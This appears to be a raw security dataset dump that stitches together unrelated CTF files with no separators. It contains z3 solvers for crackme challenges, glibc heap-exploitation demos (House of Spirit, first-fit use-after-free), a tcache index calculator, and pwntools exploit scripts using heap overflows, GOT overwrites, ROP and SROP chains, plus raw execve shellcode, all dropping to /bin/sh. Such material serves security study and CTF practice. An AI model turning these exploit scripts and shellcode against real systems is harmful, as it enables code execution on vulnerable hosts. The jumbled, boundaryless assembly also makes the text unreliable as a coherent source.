deardaniel/secdata-raw huggingface dataset:
#First import the z3 library
from z3 import *

#Import the two hex strings which we will be xoring
xor1 = [ 0x70, 0x30, 0x53, 0xA1, 0xD3, 0x70, 0x3F, 0x64, 0xB3, 0x16, 0xE4, 0x04, 0x5F, 0x3A, 0xEE, 0x42, 0xB1, 0xA1, 0x37, 0x15, 0x6E, 0x88, 0x2A, 0xAB]
xor2 = [ 0x20, 0xAC, 0x7A, 0x25, 0xD7, 0x9C, 0xC2, 0x1D, 0x58, 0xD0, 0x13, 0x25, 0x96, 0x6A, 0xDC, 0x7E, 0x2E, 0xB4, 0xB4, 0x10, 0xCB, 0x1D, 0xC2, 0x66]


def decrypt(inp, z):
    #Define the encryption algorithm constraints
    y = BitVecVal(0, 8)
    for i in xrange(24):
        x = RotateLeft(inp[i], 3)
        y = RotateRight(y, 2)
        x = x + y
        x = x ^ xor1[i]
        y = x
        x = RotateLeft(x, 4)
        x = x ^ xor2[i]
        z.add(x == 0) 

    #Check if the conditions are satisfiable, if it is model it and get the password
    if z.check() == sat:
        print "The condition is: " + str(z.check())
        solve = z.model()
        cred = ""
        #Sort out the data, and print the passord
        for i in xrange(24):
            cred = cred + chr(int(str(solve[inp[i]])))
        print cred
    else:
        #Something failed and the condition isn't satisifiable, I would recogmend crying
        print "The condition is: " + str(z.check())


#Establish the solver, and the input array
z = Solver()
inp = []

#We need to add an 8 bit vector for every character in our password
for i in xrange(24):
    b = BitVec("%d" % i, 8)
    inp.append(b)

#Now pass the list, and the solver to the decrypt function
decrypt(inp, z)
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	puts("So we will be covering a House of Spirit Attack.");
	puts("A House of Spirit Attack allows us to get malloc to return a fake chunk to a region we have some control over (such as the bss or stack).");
	puts("In order for this attack to work and pass all of the malloc checks, we will need to make two fake chunks.");
	puts("To setup the fake chunks, we will need to write fake size values for the chunks.");
	puts("Also the first fake chunk is where we will want our chunk returned by malloc to be.");
	puts("Let's get started!\n");


	unsigned long array[20];
	printf("So we start off by initializing our array on the stack.\n");
	printf("Array Start: %p\n", array);
	printf("Our goal will be to allocate a chunk at %p\n\n", &array[2]);


	printf("Now we need to write our two size values for the chunks.\n");
	printf("There are three restrictions we have to meet.\n\n");

	printf("0.) Size of the chunks must be within the fast bin range.\n");
	printf("1.) The size values must be placed where they should if they were an actual chunk.\n");
	printf("2.) The size of the first heap chunk (the one that gets freed and reallocated) must be the same as the rounded up heap size of the malloc that we want to allocate our fake chunk.\n");
	printf("That should be larger than the argument passed to malloc.\n\n");

	printf("Also as a side note, the two sizes don't have to be equal.\n");
	printf("Check the code comments for how the fake heap chunks are structured.\n");
	printf("With that, let's write our two size values.\n\n");

	/*
	this will be the structure of our two fake chunks:
	assuming that you compiled it for x64

	+-------+---------------------+------+
	| 0x00: | Chunk # 0 prev size | 0x00 |
	+-------+---------------------+------+
	| 0x08: | Chunk # 0 size      | 0x60 |
	+-------+---------------------+------+
	| 0x10: | Chunk # 0 content   | 0x00 |
	+-------+---------------------+------+
	| 0x60: | Chunk # 1 prev size | 0x00 |
	+-------+---------------------+------+
	| 0x68: | Chunk # 1 size      | 0x40 |
	+-------+---------------------+------+
	| 0x70: | Chunk # 1 content   | 0x00 |
	+-------+---------------------+------+

	for what we are doing the prev size values don't matter too much
	the important thing is the size values of the heap headers for our fake chunks
	*/

	array[1] = 0x60;
	array[13] = 0x40;

	printf("Now that we setup our fake chunks set up, we will now get a pointer to our first fake chunk.\n");
	printf("This will be the ptr that we get malloc to return for this attack\n");

	unsigned long *ptr;
	ptr = &(array[2]);

	printf("Address: %p\n\n", ptr);

	printf("Now we will free the pointer to place it into the fast bin.\n");

	free(ptr);

	printf("Now we can just allocate a chunk that it's rounded up malloc size will be equal to that of our fake chunk (0x60), and we should get malloc to return a pointer to array[1].\n\n");

	unsigned long *target;
	target = malloc(0x50);

	printf("returned pointer: %p\n", target);

}
# This exploit is based off of https://dangokyo.me/2017/12/04/hack-lu-ctf-2014-pwn-oreo-write-up/

from pwn import *

target = process('./oreo', env={"LD_PRELOAD":"./libc-2.23.so"})
gdb.attach(target)
elf = ELF('oreo')
libc = ELF("libc-2.23.so")

def addRifle(name, desc):
  target.sendline('1')
  target.sendline(name)
  target.sendline(desc)

def leakLibc():
  target.sendline('2')
  print target.recvuntil("Description: ")
  print target.recvuntil("Description: ")
  leak = target.recvline()
  puts = u32(leak[0:4])
  libc_base = puts - libc.symbols['puts']
  return libc_base

def orderRifles():
  target.sendline("3")

def leaveMessage(content):
  target.sendline("4")
  target.sendline(content)

# First commence the initial overflow of the previous gun ptr with the got address of puts for the infoleak
addRifle('0'*0x1b + p32(elf.got['puts']), "15935728")

# Show the guns, scan in and parse out the infoleak, figure out the base of libc, and figure out where system is
libc_base = leakLibc()
system = libc_base + libc.symbols['system']
log.info("System is: " + hex(system))

# Iterate through 0x3f cycles of adding then freeing that rifle, to increment new_rifles to 0x40. Also we need to overwrite the value of previous_rifle_ptr with 0x0, so the free check won't do anything (and the program won't crash)
for i in xrange(0x3f):
  addRifle("1"*0x1b + p32(0x0), "1593")
  orderRifles()

# Add a rifle to overwrite the next ptr for the rifle to the address of 0x804a2a8 (our fake chunk for the house of spirit) 
addRifle("1"*0x1b + p32(0x804a2a8), "15935728")

# Write the size value of the second fake chunk by leaving a message
leaveMessage(p32(0)*9 + p32(0x81))


# Free the fake chunk, so it ends up in the fast bin
orderRifles()

# Allocate a new chunk of heap, which will allow us to write over 0x804a2a8 which is messafe_storage_ptr with the got address of scanf
addRifle("15935728", p32(elf.got['__isoc99_sscanf']))

# Write over the value stored in the got address of scanf with the libc address of system which we got from the infoleak
leaveMessage(p32(system))

# Send the string /bin/sh which will get scanned into memory with fgets, then passed to system (supposed to be passed to scanf)
target.sendline("/bin/sh")

# Drop to an interactive shell
target.interactive()
#Import z3
from z3 import *

#Designate the input z3 will have control of
inp = []
for i in xrange(25):
	b = BitVec("%s" % i, 8)
	inp.append(b)
#Store the input from z3 in the matrix
h, l = 5, 5;
mat = [[0 for x in range(l)] for y in range(h)]
mat[0][0] = inp[0]
mat[0][2] = inp[7]
mat[0][4] = inp[14]
mat[1][1] = inp[21]
mat[1][3] = inp[3]
mat[2][0] = inp[10]
mat[2][2] = inp[17]
mat[2][4] = inp[24]
mat[3][1] = inp[6]
mat[3][3] = inp[13]
mat[4][0] = inp[20]
mat[4][2] = inp[2]
mat[4][4] = inp[9]
mat[0][1] = inp[16]
mat[0][3] = inp[23]
mat[1][0] = inp[5]
mat[1][2] = inp[12]
mat[1][4] = inp[19]
mat[2][1] = inp[1]
mat[2][3] = inp[8]
mat[3][0] = inp[15]
mat[3][2] = inp[22]
mat[3][4] = inp[4]
mat[4][1] = inp[11]
mat[4][3] = inp[18]
#print mat

#Perform the 19 math operations with the matrix
auth = [0]*19
auth[0] = mat[0][0] + mat[4][4]
auth[1] = mat[2][1] + mat[0][2]
auth[2] = mat[4][2] + mat[4][1]
auth[3] = mat[1][3] + mat[3][1]
auth[4] = mat[3][4] + mat[1][2]
auth[5] = mat[1][0] + mat[2][3]
auth[6] = mat[2][4] + mat[2][0]
auth[7] = mat[3][3] + mat[3][2] + mat[0][3]
auth[8] = mat[0][4] + mat[4][0] + mat[0][1]
auth[9] = mat[3][3] + mat[2][0]
auth[10] = mat[4][0] + mat[1][2]
auth[11] = mat[0][4] + mat[4][1]
auth[12] = mat[0][3] + mat[0][2]
auth[13] = mat[3][0] + mat[2][0]
auth[14] = mat[1][4] + mat[1][2]
auth[15] = mat[4][3] + mat[2][3]
auth[16] = mat[2][2] + mat[0][2]
auth[17] = mat[1][1] + mat[4][1]	
#print auth

#Create the solver, and the desired output
z = Solver()
enc = [0x8b, 0xce, 0xb0, 0x89, 0x7b, 0xb0, 0xb0, 0xee, 0xbf, 0x92, 0x65, 0x9d, 0x9a, 0x99, 0x99, 0x94, 0xad, 0xe4]

#Create the z3 constraints for what the output should be:
#equal to it's corresponding enc value
#an ascii character to make it easier to input into the program
for i in xrange(len(enc)):
#	print enc[i]
	z.add(auth[i] == enc[i])
for i in xrange(25):
	z.add(inp[i] > 32)
	z.add(inp[i] < 127)

#Check if z3 can solve it, and if it can print out the solution
if z.check() == sat:
#	print z
	print "Condition is satisfied, would still recommend crying: " + str(z.check())
	solution = z.model()
	flag = ""
	for i in inp:
		flag += chr(int(str(solution[i])))
	print "solution is: " + flag

#Check if z3 can't solve it
if z.check() == unsat:
	print "Condition is not satisfied, would recommend crying: " + str(z.check())
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void genMatrix(char mat[5][5], char str[]) {
	for (int i = 0; i < 25; i++) {
		int m = (i * 2) % 25;
		int f = (i * 7) % 25;
		mat[m/5][m%5] = str[f];
	}
}

void genAuthString(char mat[5][5], char auth[]) {
	auth[0] = mat[0][0] + mat[4][4];
	auth[1] = mat[2][1] + mat[0][2];
	auth[2] = mat[4][2] + mat[4][1];
	auth[3] = mat[1][3] + mat[3][1];
	auth[4] = mat[3][4] + mat[1][2];
	auth[5] = mat[1][0] + mat[2][3];
	auth[6] = mat[2][4] + mat[2][0];
	auth[7] = mat[3][3] + mat[3][2] + mat[0][3];
	auth[8] = mat[0][4] + mat[4][0] + mat[0][1];
	auth[9] = mat[3][3] + mat[2][0];
	auth[10] = mat[4][0] + mat[1][2];
	auth[11] = mat[0][4] + mat[4][1];
	auth[12] = mat[0][3] + mat[0][2];
	auth[13] = mat[3][0] + mat[2][0];
	auth[14] = mat[1][4] + mat[1][2];
	auth[15] = mat[4][3] + mat[2][3];
	auth[16] = mat[2][2] + mat[0][2];
	auth[17] = mat[1][1] + mat[4][1];
}

int main() {
	char flag[26];
	printf("What's the flag: ");
	scanf("%25s", flag);
	flag[25] = 0;

	if (strlen(flag) != 25) {
		puts("Try harder.");
		return 0;
	}


	// Setup matrix
	char mat[5][5];// Matrix for a jumbled string
	genMatrix(mat, flag);
	// Generate auth string
	char auth[19]; // The auth string they generate
	auth[18] = 0; // null byte
	genAuthString(mat, auth);	
	char pass[19] = "\x8b\xce\xb0\x89\x7b\xb0\xb0\xee\xbf\x92\x65\x9d\x9a\x99\x99\x94\xad\xe4\x00";
	
	// Check the input
	if (!strcmp(pass, auth)) {
		puts("Yup thats the flag!");
	} else {
		puts("Nope. Try again.");
	}
	
	return 0;
}
from z3 import *

# Designate the desired output
desiredOutput = [0x69, 0x72, 0x62, 0x75, 0x67, 0x7a, 0x76, 0x31, 0x76, 0x5e, 0x78, 0x31, 0x74, 0x5e, 0x6a, 0x6f, 0x31, 0x76, 0x5e, 0x65, 0x35, 0x5e, 0x76, 0x40, 0x32, 0x5e, 0x39, 0x69, 0x33, 0x63, 0x40, 0x31, 0x33, 0x38, 0x7c]


# Designate the input z3 will have control of
inp = []
for i in xrange(0x23):
	byte = BitVec("%s" % i, 8)
	inp.append(byte)

z = Solver()

for i in xrange(0x23):
	z.add((inp[i] ^ 1) == desiredOutput[i])


#Check if z3 can solve it, and if it can print out the solution
if z.check() == sat:
#	print z
	print "Condition is satisfied, would still recommend crying: " + str(z.check())
	solution = z.model()
	flag = ""
	for i in range(0, 0x23):
		flag += chr(int(str(solution[inp[i]])))
	print flag

#Check if z3 can't solve it
elif z.check() == unsat:
	print "Condition is not satisfied, would recommend crying: " + str(z.check())
#Import z3
from z3 import *

#Establish the hex array of what the end result should be before the binary not
alt_flag = [42, 234, 194, 42, 98, 222, 142, 14, 94, 150, 206, 158, 34, 118, 70, 182, 70, 246, 94, 236, 108, 246, 230, 54, 30, 14, 94, 154, 38, 214, 190]

#Establish the solving function
def solve(alt_flag):    
    #Establish the solver
    zolv = Solver()

    #Establish the array which will hold all of the integers which we will input
    inp = []
    for i in range(0, len(alt_flag)):
        b = BitVec("%d" % i, 16)
        inp.append(b)

    #Run the same text altering function as enc_func
    for i in range(0, len(alt_flag)):
        x = (2 * (inp[i] & 0x55)) | ((inp[i] >> 1) & 0x55)
        y = (4 * (x & 0x33)) | ((x >> 2) & 0x33)
        z = (16 * y) | ( y >> 4)
        #We need to and it by 0xff, that way we only get the last 8 bits
        z = z & 0xff
        #Add the condition to z3 that we need to end value to be equal to it's corresponding alt_flag value
        zolv.add( z == alt_flag[i])

    #Check if the problem is solvable by z3
    if zolv.check() == sat:
        print "The condition is satisfied, would still recommend crying: " + str(zolv.check())
        #The problem is solvable, model it and print the solution
        solution = zolv.model()
        flag = ""
        for i in range(0, len(alt_flag)):
            flag += chr(int(str(solution[inp[i]])))
        print flag

    #The problem is not solvable by z3    
    if zolv.check() == unsat:
        print "The condition is not satisfied, would recommend crying: " + str(zolv.check())


solve(alt_flag)
#Establish the flag after the binary not
flag = [ 0xd5, 0x15, 0x3d, 0xd5, 0x9d, 0x21, 0x71, 0xf1, 0xa1, 0x69, 0x31, 0x61, 0xdd, 0x89, 0xb9, 0x49, 0xb9, 0x09, 0xa1, 0x13, 0x93, 0x09, 0x19, 0xc9, 0xe1, 0xf1, 0xa1, 0x65, 0xd9, 0x29, 0x41]

#Establish the function to execute the binary not
def not_inp(inp):
    output = 0x0
    result = ""
    string = bin(inp).replace("0b", "")
    #Check if there are less than 8 bits, and if so add zeroes to the front to get 8 bits
    if len(string) < 8:
        diff = 8 - len(string)
        string = diff*"0" + string
    print "Binary string is:  " + string
    
    #Swap the ones with zeroes, and vice versa
    for s in string:
        if s == "0":
            result += "1"
        if s == "1":
            result += "0"
    print "Binary inverse is: " + result
    
    #Convert the binary string to an int, and return it
    output = int(result, 2)
    return output

#Establish the array which will hold the output
out = []
#Iterate through each character of the flag, and undo the binary not
for i in flag:
    x = not_inp(i)
    out.append(x)
    print hex(x)

#Print the flag before the binary not
print "alt_flag = " + str(out)
from pwn import *

# Establish the target
target = process("./syscaller")
#gdb.attach(target, gdbscript='b *0x400104')

context.arch = "amd64"

# Initial registers to be popped
r12 = "0"*8
r11 = "1"*8
rdi = "0"*8
rax = p64(0xf)
rbx = "0"*8
rdx = "1"*8
rsi = "0"*8
rdi = "1"*8

# Form the payload for the registers to be popped
payload = ""
payload += r12
payload += r11
payload += rdi
payload += rax
payload += rbx
payload += rdx
payload += rsi
payload += rdi

# Make the sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400104
frame.rax = 0xa
frame.rdi = 0x400000
frame.rsi = 0x1000
frame.rdx = 0x7

frame.rsp = 0x40011a

# Append the sigreturn frame to the payload
payload += str(frame)

# Send the payload
target.sendline(payload)

# A Raw input for I/O purposes
raw_input()

# Send our shellcode
# I did not write this shellcode, it is from: https://teamrocketist.github.io/2017/09/18/Pwn-CSAW-Pilot/
shellcode = "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
target.sendline(shellcode)

# Drop to an interactive shell
target.interactive()
from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()
from pwn import *

target = process('./funsignals_player_bin')

# Specify the architecture
context.arch = "amd64"

frame = SigreturnFrame()

# Specify rip to point to the syscall instruction
frame.rip = 0x1000000b

# Prep the registers for a write syscall
frame.rax = 0x1
frame.rdi = 0x1
frame.rsi = 0x10000023
frame.rdx = 0x400

# Send the sigreturn frame
target.send(str(frame))

target.interactive()
from pwn import *

# Establish the target
target = process('./stupidrop')
#gdb.attach(target, gdbscript='b *0x400289')

elf = ELF('stupidrop')

context.arch = "amd64"

# Establish needed gadgets
syscall = p64(0x40063e)
popRdi = p64(0x4006a3)

# Establish needed functions
gets = p64(elf.symbols['gets'])
alarm = p64(elf.symbols['alarm'])

# Establish address where we will write "/bin/sh"
binshAdr = p64(0x601050)

# Filler to return address
payload = ""
payload += "0"*0x38

# Use gets to write "/bin/sh" to 0x601050
payload += popRdi
payload += binshAdr
payload += gets


# Use alarm to set the rax register to 0xf
payload += popRdi
payload += p64(0xf)
payload += alarm
payload += popRdi
payload += p64(0x0)
payload += alarm

# Execute the SROP to make the execve call
frame = SigreturnFrame()

# Specify rip to point to the syscall instruction
frame.rip = 0x40063e

# Prep the registers for the execve syscall
frame.rax = 0x3b
frame.rdi = 0x601050
frame.rsi = 0x0
frame.rdx = 0x0

# Add the sigreturn frame to the payload, and make the syscall
payload += syscall
payload += str(frame)


# Send the payload
target.sendline(payload)

# Send "/bin/sh" to the gets call
raw_input()
target.sendline("/bin/sh\x00")


target.interactive()
ChangeLog for relevant heap-protection changes
--------------------------------------------

## Version 2.25

All attacks in this repo work at least in this version.

## Version 2.26

- tcache (per-thread cache) is introduced (enabled in ubuntu-build since 2.27)
    * See [tukan.farm](http://tukan.farm/2017/07/08/tcache/) for a short overview
    

- `unlink(AV, P, BK, FD)`:
    * Add size consistency check:
        ```
            if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
              malloc_printerr ("corrupted size vs. prev_size");
        ```

## Version 2.27

- `malloc_consolidate(mstate av)`:
    * Add size check when placing chunks into fastbins:
        ```
        unsigned int idx = fastbin_index (chunksize (p));
        if ((&fastbin (av, idx)) != fb)
          malloc_printerr ("malloc_consolidate(): invalid chunk size");
        ```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>


struct malloc_chunk {

  size_t      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  size_t      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

/* The corresponding word size.  */
#define SIZE_SZ (sizeof (size_t))

#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
			  ? __alignof__ (long double) : 2 * SIZE_SZ)

/* The corresponding bit mask value.  */
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

/* The smallest possible chunk */
#define MIN_CHUNK_SIZE        (offsetof(struct malloc_chunk, fd_nextsize))

/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE  \
  (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))

#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/* When "x" is from chunksize().  */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

/* When "x" is a user-provided size.  */
# define usize2tidx(x) csize2tidx (request2size (x))

int main()
{
    unsigned long long req;
    unsigned long long tidx;
	fprintf(stderr, "This file doesn't demonstrate an attack, but calculates the tcache idx for a given chunk size.\n");
	fprintf(stderr, "The basic formula is as follows:\n");
    fprintf(stderr, "\tIDX = (CHUNKSIZE - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT\n");
    fprintf(stderr, "\tOn a 64 bit system the current values are:\n");
    fprintf(stderr, "\t\tMINSIZE: 0x%lx\n", MINSIZE);
    fprintf(stderr, "\t\tMALLOC_ALIGNMENT: 0x%lx\n", MALLOC_ALIGNMENT);
    fprintf(stderr, "\tSo we get the following equation:\n");
    fprintf(stderr, "\tIDX = (CHUNKSIZE - 0x%lx) / 0x%lx\n\n", MINSIZE-MALLOC_ALIGNMENT+1, MALLOC_ALIGNMENT);
    fprintf(stderr, "BUT be AWARE that CHUNKSIZE is not the x in malloc(x)\n");
    fprintf(stderr, "It is calculated as follows:\n");
    fprintf(stderr, "\tIF x + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE(0x%lx) CHUNKSIZE = MINSIZE (0x%lx)\n", MINSIZE, MINSIZE);
    fprintf(stderr, "\tELSE: CHUNKSIZE = (x + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) \n");
    fprintf(stderr, "\t=> CHUNKSIZE = (x + 0x%lx + 0x%lx) & ~0x%lx\n\n\n", SIZE_SZ, MALLOC_ALIGN_MASK, MALLOC_ALIGN_MASK);
    while(1) {
        fprintf(stderr, "[CTRL-C to exit] Please enter a size x (malloc(x)) in hex (e.g. 0x10): ");
        scanf("%llx", &req);
        tidx = usize2tidx(req);
        if (tidx > 63) {
            fprintf(stderr, "\nWARNING: NOT IN TCACHE RANGE!\n");
        }
        fprintf(stderr, "\nTCache Idx: %llu\n", tidx);
    }
    return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
	fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
	fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
	fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

	fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
	char* a = malloc(0x512);
	char* b = malloc(0x256);
	char* c;

	fprintf(stderr, "1st malloc(0x512): %p\n", a);
	fprintf(stderr, "2nd malloc(0x256): %p\n", b);
	fprintf(stderr, "we could continue mallocing here...\n");
	fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
	strcpy(a, "this is A!");
	fprintf(stderr, "first allocation %p points to %s\n", a, a);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

	fprintf(stderr, "So, let's allocate 0x500 bytes\n");
	c = malloc(0x500);
	fprintf(stderr, "3rd malloc(0x500): %p\n", c);
	fprintf(stderr, "And put a different string here, \"this is C!\"\n");
	strcpy(c, "this is C!");
	fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
	fprintf(stderr, "first allocation %p points to %s\n", a, a);
	fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}